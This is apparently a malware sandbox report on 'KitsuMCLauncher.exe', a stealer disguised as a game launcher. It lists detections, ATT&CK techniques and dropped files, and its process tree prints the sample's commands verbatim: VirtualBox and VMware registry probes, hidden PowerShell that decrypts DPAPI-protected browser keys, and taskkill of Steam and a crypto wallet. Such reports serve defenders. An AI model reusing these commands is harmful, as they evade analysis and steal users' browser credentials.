Overview

overview

9

Static

static

3

KitsuMCLauncher.exe

windows11-ltsc_2024-x64

9

Analysis

  • user interaction
    yes
  • max time kernel
    94s
  • max time network
    96s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 20:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    KitsuMCLauncher.exe
  • Size 67.8MB
  • Sample260802-yxtjfa1dna
  • SHA256 a53704d1cbb3df303205f39f2444d2d4718a2c1b94465448c59a0ef6eeb16fd0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 21 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\KitsuMCLauncher.exe
    "C:\Users\Admin\AppData\Local\Temp\KitsuMCLauncher.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5952
    • C:\Users\Admin\AppData\Local\Temp\3HBTHNiVmPV6x9RiclFtQz8QjVt\Framework Runtime Host.exe
      "C:\Users\Admin\AppData\Local\Temp\3HBTHNiVmPV6x9RiclFtQz8QjVt\Framework Runtime Host.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:6052
      • C:\Users\Admin\AppData\Local\Temp\3HBTHNiVmPV6x9RiclFtQz8QjVt\Framework Runtime Host.exe
        "C:\Users\Admin\AppData\Local\Temp\3HBTHNiVmPV6x9RiclFtQz8QjVt\Framework Runtime Host.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\kitsumclauncher" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1660 --field-trial-handle=1664,i,16875650372198617699,14186355511809460405,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1400
      • C:\Users\Admin\AppData\Local\Temp\3HBTHNiVmPV6x9RiclFtQz8QjVt\Framework Runtime Host.exe
        "C:\Users\Admin\AppData\Local\Temp\3HBTHNiVmPV6x9RiclFtQz8QjVt\Framework Runtime Host.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\kitsumclauncher" --mojo-platform-channel-handle=1924 --field-trial-handle=1664,i,16875650372198617699,14186355511809460405,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:3880
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4328
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
          4⤵
          • Looks for VirtualBox Guest Additions in registry
          PID:4264
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5580
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"
          4⤵
          • Enumerates VirtualBox registry keys
          PID:2596
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4648
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse"
          4⤵
          • Enumerates VirtualBox registry keys
          PID:3592
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4504
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService"
          4⤵
          • Enumerates VirtualBox registry keys
          PID:5244
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5000
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
          4⤵
          • Looks for VMWare Tools registry key
          PID:5104
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmci""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3848
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\vmci"
          4⤵
          • Looks for VMWare services registry key.
          PID:5620
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4400
        • C:\Windows\system32\reg.exe
          reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs"
          4⤵
            PID:1076
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "tasklist"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4560
          • C:\Windows\system32\tasklist.exe
            tasklist
            4⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:5448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer""
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:244
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4552
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Version""
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3520
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Version"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2780
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4940
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:5644
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "getmac"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:952
          • C:\Windows\system32\getmac.exe
            getmac
            4⤵
              PID:2348
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785701657392.vbs""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:6060
            • C:\Windows\system32\cscript.exe
              cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1785701657392.vbs"
              4⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:3368
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "cmd /c powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_1n1uwg=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$_27ofzt=[System.Security.Cryptography.ProtectedData]::Unprotect($_1n1uwg,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($_27ofzt))""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1468
            • C:\Windows\system32\cmd.exe
              cmd /c powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_1n1uwg=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$_27ofzt=[System.Security.Cryptography.ProtectedData]::Unprotect($_1n1uwg,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($_27ofzt))"
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3256
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_1n1uwg=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAArJAsbWtamN955B0lfUHwXcB/FRzXdYbBXo56MnbYZiAAAAAA6AAAAAAgAAIAAAAKn4Fpfp5wcJY5Fvw4nwoMS9qcSthPigZNIFZE/UbRACMAAAAKk55ATP/HGLElZ09+rht7jpPY5YpsyFqBcXTaPq6MVSMAlwU9AGcCTO5R4+lyJQbkAAAAAQHsgVeHYsMO3hU441G63UZpKlAeE4gMc8R6sgc9K+CRPVPuOBVlGdlO9t6QLCGEzKk7RqsQJtC8HF2DenFGIw');$_27ofzt=[System.Security.Cryptography.ProtectedData]::Unprotect($_1n1uwg,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($_27ofzt))"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5472
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "cmd /c powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_0ir7j9=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$_y78a5s=[System.Security.Cryptography.ProtectedData]::Unprotect($_0ir7j9,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($_y78a5s))""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3016
            • C:\Windows\system32\cmd.exe
              cmd /c powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_0ir7j9=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$_y78a5s=[System.Security.Cryptography.ProtectedData]::Unprotect($_0ir7j9,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($_y78a5s))"
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2428
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_0ir7j9=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAU5J5VJphQU6R8y8lVs5quRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAk+VBfqZL60NKN/n7LIVYeBadi5G/ws0vRKBi+nLcygYAAAAADoAAAAACAAAgAAAAZlJgsQ4QJT++2NMTEkLZs3jO4ks8aDbwElIp8Map+d4wAAAAoOwTIySKxXb9kcwD6IkA5jh55SWNxILFHzYXNy7SkicXnjRgd5A+ZSKa1eWnMOk2QAAAALAIAEP5Wb8oazEkIU7aC940bJasQAkT/7mmTAUWI4yjPSZotI35NiNkVsXkd4ozI1PaGOa1hJnOKJ3oU2ByjkA=');$_y78a5s=[System.Security.Cryptography.ProtectedData]::Unprotect($_0ir7j9,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($_y78a5s))"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1160
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:6140
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Steam.exe /F
              4⤵
              • Kills process with taskkill
              PID:2072
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5252
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Exodus.exe /F
              4⤵
              • Kills process with taskkill
              PID:4904
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1 -ExpandProperty Name)""
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4664
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1 -ExpandProperty Name)"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4264

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            Persistence

            Privilege Escalation

            Defense Evasion

            Virtualization/Sandbox Evasion

            4
            T1497

            Credential Access

            Credentials from Password Stores

            1
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            Process Discovery

            1
            T1057

            Query Registry

            4
            T1012

            System Information Discovery

            2
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            System Network Configuration Discovery

            1
            T1016

            Internet Connection Discovery

            1
            T1016.001

            Virtualization/Sandbox Evasion

            4
            T1497

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 6f6bef832321f695ce237e3c9cd3387dd94d8362af4eaa7433bd707bf1b2af2e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 483f8e3d65c9136df1aecc4550d4e40d5f6a80f929e19dfd4c1c368c26aa849b
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 1613aeda68176dacf482c75ccbcb36e64e0812eb26cbf262f672ba914bf132a2
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 93215ce89b3acdb1d302a9248fa7fa7ada7a6b802f12f5447c9e70db5ccbb013
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 27d981b373b147bdccaca664a9a1242fdd6d92a8c3e189bd82df3aca25f3eac3
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_wzih1zil.wz4.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wzih1zil.wz4.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            LICENSE.electron.txt
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\LICENSE.electron.txt
            • Size 1KB
            • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            LICENSES.chromium.html
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\LICENSES.chromium.html
            • Size 8.7MB
            • SHA256 000ae5775ffa701d57afe7ac3831b76799e8250a2d0c328d1785cba935aab38d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            chrome_100_percent.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\chrome_100_percent.pak
            • Size 163KB
            • SHA256 b7805392bfce11118165e3a4e747ac0ca515e4e0ceadab356d685575f6aa45fb
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            chrome_200_percent.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\chrome_200_percent.pak
            • Size 222KB
            • SHA256 fac820a98b746a04ce14ec40c7268d6a58819133972b538f9720a5363c862e32
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            d3dcompiler_47.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\d3dcompiler_47.dll
            • Size 4.7MB
            • SHA256 7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ffmpeg.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\ffmpeg.dll
            • Size 2.7MB
            • SHA256 c8476ee68088d72b9fab25703093df19237d14387016b77f472e10c99c9415ed
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            icudtl.dat
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\icudtl.dat
            • Size 10.2MB
            • SHA256 f5170aa2b388d23bebf98784dd488a9bcb741470384a6a9a8d7a2638d768defb
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libEGL.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\libEGL.dll
            • Size 467KB
            • SHA256 7bee4e33d89e5a4f2b3bc74d632f7c773ae9a399b6b2ba6d29b1192e25695a8b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libGLESv2.dll
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\libGLESv2.dll
            • Size 7.4MB
            • SHA256 ee039e42a4948e9f26ece8515f3c699014fa7803ae597cd3427fa1548962f9af
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            af.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\af.pak
            • Size 464KB
            • SHA256 57670eae6d1871e648ad6148125ee82d08575bec5b323459fc14c3831570774a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            am.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\am.pak
            • Size 756KB
            • SHA256 b05dcb8136751aee5eced680a5bad935e386bfce657dd283d3ec00ee722fd740
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ar.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ar.pak
            • Size 829KB
            • SHA256 ea49bc2ceb6b185030eaa0ee0155feca90e632390417299113b02fbe365ff731
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            bg.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\bg.pak
            • Size 861KB
            • SHA256 50e4f6b9c387adf4baba3377c61d99326cc3987928d8d60b88d1ac29352820ea
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            bn.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\bn.pak
            • Size 1.1MB
            • SHA256 e6adcfb4f3b3bccd4a27edadc168b503c36551cd6b27fb24043efeb21f691ce5
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ca.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\ca.pak
            • Size 524KB
            • SHA256 4ecfa3785ab52564e0bd7dda04d59a30163561588a04f3bd1b1b71de051d2c53
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cs.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\cs.pak
            • Size 539KB
            • SHA256 1c9448ea3aefce1a7e1491e73af91af772d8b22d538676a2beab690558e668fa
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            da.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\da.pak
            • Size 487KB
            • SHA256 438d2b1fd396c2108ca3902f69eeb372219edd5d95fe70970d8ee9e64556c9a4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            de.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\de.pak
            • Size 521KB
            • SHA256 47253e2fcf0e4691f29b3ebbe8f888a97b28d6aeaf73ab000857a6b8d0907ff3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            el.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\el.pak
            • Size 944KB
            • SHA256 6a06d1d6b566214f7c3b693052beec488f7aae5ceeca26781a5d66fade39388b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            en-GB.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\en-GB.pak
            • Size 424KB
            • SHA256 4e4d71f24f5eea6892b961fcda014fc74914c1340366f9c62f0535e9b94ae846
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            en-US.pak
            • Path C:\Users\Admin\AppData\Local\Temp\nsrFA5A.tmp\7z-out\locales\en-US.pak
            • Size 428KB
            • SHA256 0db4f65e527553b9e7bee395f774cc9447971bf0b86d1728856b6c15b88207bb
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            es-419.pak
